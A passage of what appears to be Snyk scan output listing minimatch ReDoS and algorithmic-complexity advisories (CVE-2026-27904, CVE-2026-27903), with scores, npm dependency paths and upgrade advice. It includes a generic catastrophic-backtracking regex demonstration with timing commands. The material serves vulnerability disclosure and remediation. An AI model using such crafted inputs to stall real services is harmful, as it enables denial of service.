hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 